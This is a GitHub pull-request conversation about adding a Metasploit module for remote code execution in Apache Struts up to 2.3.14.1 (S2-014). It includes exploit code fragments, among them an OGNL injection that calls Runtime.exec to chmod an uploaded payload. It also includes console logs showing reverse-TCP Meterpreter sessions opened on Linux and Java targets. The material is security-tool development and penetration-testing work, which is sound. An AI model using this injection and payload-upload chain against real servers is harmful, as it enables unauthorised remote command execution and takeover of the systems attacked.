New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Struts <= 2.3.14.1 remote code execution #1870
Conversation
Heavily based upon my previous module for parameters interceptor based RCE. Tested against the POC given at the reference website successfully.
case target['Platform'] | ||
when 'linux' | ||
@payload_exe = "/tmp/#{@payload_exe}" | ||
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This could be migrated to use the new bourne stager module for neatness perhaps: https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/exploitation/cmdstager/bourne.rb
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Not particularly suited to this. I had a go and could probably wedge it in, but the JAVA based encode/decode + upload/copytofile method works in all 3 target instances using minimal/no code duplication for this module and is reliable.
Getting onto fixing the @Meatballs1 suggestions. Expect incoming commits. |
Added support for both GET and POST methods as both are vulnerable to this exploit.
Decided against it as current implementation of JAVA base64 encode/decode appears to be more OS agnostic and robust. Tidied up a few lines of code and added some more output.
Added changes as per @Meatballs1 suggestions. Decided against using bourne cmd stager as current java based upload works for all OS implementations and is robust. |
Opt::RPORT(8080), | ||
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',rand_text_alpha_lower(4)]), | ||
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/struts2-blank3/example/HelloWorld.action"]), | ||
OptString.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','GET']), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If only GET or POST are allowed use an OptEnum, looks like a better idea.
Please avoid using the cve in the filename. Something like structs_include_params_exec.rb could be fine. Also "_" (underscore) should be used over "-" on the filename. |
On the other hand, did a first test, and the linux target is working, but not the java one:
Didn't dig into it, just a first test, would need to dig into it if the java target is working for you. |
print_status("Preparing payload...") | ||
#Now with all the arch specific stuff set, perform the upload. | ||
#109 = length of command string plus the max length of append. | ||
sub_from_chunk = 109 + @payload_exe.length + target_uri.path.length + datastore['PARAMETER'].length |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
normalize_uri(target_uri.path).length so its consistent if / gets stripped/added?
Also is 109 the correct length of the command string in this module?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
java_upload_part is unchanged so the value 109 remains the same. Have now used normalize_uri, was throwing off the java exploit side of things. Check was working, Exploit wasn't.
Was down to the chunk length not being set correctly. Still need to test against windows. ``` msf exploit(struts_include_params) > show targets Exploit targets: Id Name -- ---- 0 Windows Universal 1 Linux Universal 2 Java Universal msf exploit(struts_include_params) > set target 1 target => 1 msf exploit(struts_include_params) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf exploit(struts_include_params) > exploit [*] Started reverse handler on 192.168.0.2:4444 [*] Preparing payload... [*] Sending payload... [*] Sending payload... [*] Sending payload... [*] Transmitting intermediate stager for over-sized stage...(100 bytes) [*] Sending stage (1126400 bytes) to 192.168.0.1 [*] Meterpreter session 5 opened (192.168.0.2:4444 -> 192.168.0.1:38512) at 2013-05-30 10:37:54 +0100 [+] Deleted /tmp/57mN5N meterpreter > sysinfo Computer : localhost.localdomain OS : Linux localhost.localdomain 2.6.32-358.2.1.el6.x86_64 #1 SMP Wed Mar 13 00:26:49 UTC 2013 (x86_64) Architecture : x86_64 Meterpreter : x86/linux meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.0.1 - Meterpreter session 5 closed. Reason: User exit msf exploit(struts_include_params) > set target 2 target => 2 msf exploit(struts_include_params) > set payload java/meterpreter/reverse_tcp payload => java/meterpreter/reverse_tcp msf exploit(struts_include_params) > exploit [*] Started reverse handler on 192.168.0.2:4444 [*] Preparing payload... [*] Sending payload... [*] Sending payload... [*] Sending payload... [*] Sending payload... [*] Sending payload... [*] Sending stage (30246 bytes) to 192.168.0.1 [*] Meterpreter session 6 opened (192.168.0.2:4444 -> 192.168.0.1:38513) at 2013-05-30 10:38:27 +0100 [!] This exploit may require manual cleanup of: z4kv.jar meterpreter > sysinfo Computer : localhost.localdomain OS : Linux 2.6.32-358.2.1.el6.x86_64 (amd64) Meterpreter : java/java meterpreter > exit [*] Shutting down Meterpreter... ```
minor changes to option text and changed HTTPMETHOD to an enum.
Now also tested with Windows successfully Both Shell and Meterpreter. Windows 2003 Server R2 SP1, Tomcat 7.0, Struts 2.3.8, JDK 1.7.0_17 GET and POST
Going to remove the sending payload spam, I think for windows at least. |
Tested on linux, windows and using JAVA on both OS.
|
Feedback from @Meatballs1 via email. Closing while I make changes to improve it. |
now calculated from the actual length of all static URL elements
Made a few changes to improve the module. |
Fixing some more... |
Tested once again, Linux + Windows, both GET and POST.
|
# Now with all the arch specific stuff set, perform the upload. | ||
# Need to calculate amount to allocate for non-dynamic parts of the URL. | ||
# Fixed strings are tokens used for substitutions. | ||
append_length = append ? "true".length : "false".length # Gets around the boolean/string issue |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
append.to_s.length
The java target is only working with POST method on my tests:
Will check later, hopefully won't be a big deal, and I'll be able to fix and merge by myself. |
btw, the linux target is working with GET method:
|
Oof! will have to have a look at what i've missed. Yep just scrolled up to my last comment. Very last test was running it over GET, using JAVA against Windows. No commits or pushes since. Must be a glitch/timing issue? If you can't solve it and merge today, don't worry I'll get on it fresh tomorrow morning. |
Did a fast check, the jar payload goes corrupted when uploading through GET, need to check why. Will update later! |
Okey, here is the thing. Was using a test application with two tags using the parameter
So the injected code was being executed more than one time, and while appending data to the file containing the jar, it was going corrupted.... so this exploit can fail when attacking an action which will render a JSP with more than one point of injection, you use GET and the payload is higher than the chunk size... it's not a big deal. I'm going to update the description according to this testing experience and switch to POST by default :) Successful test:
|
oka, just merged after minor cleanup at: 146a30e Test results after clenaup:
|
Heavily based upon my previous module for parametersinterceptor RCE
Tested against the POC given at: https://cwiki.apache.org/confluence/display/WW/S2-014 in CentOS 6.4 with Apache Struts 2.3.8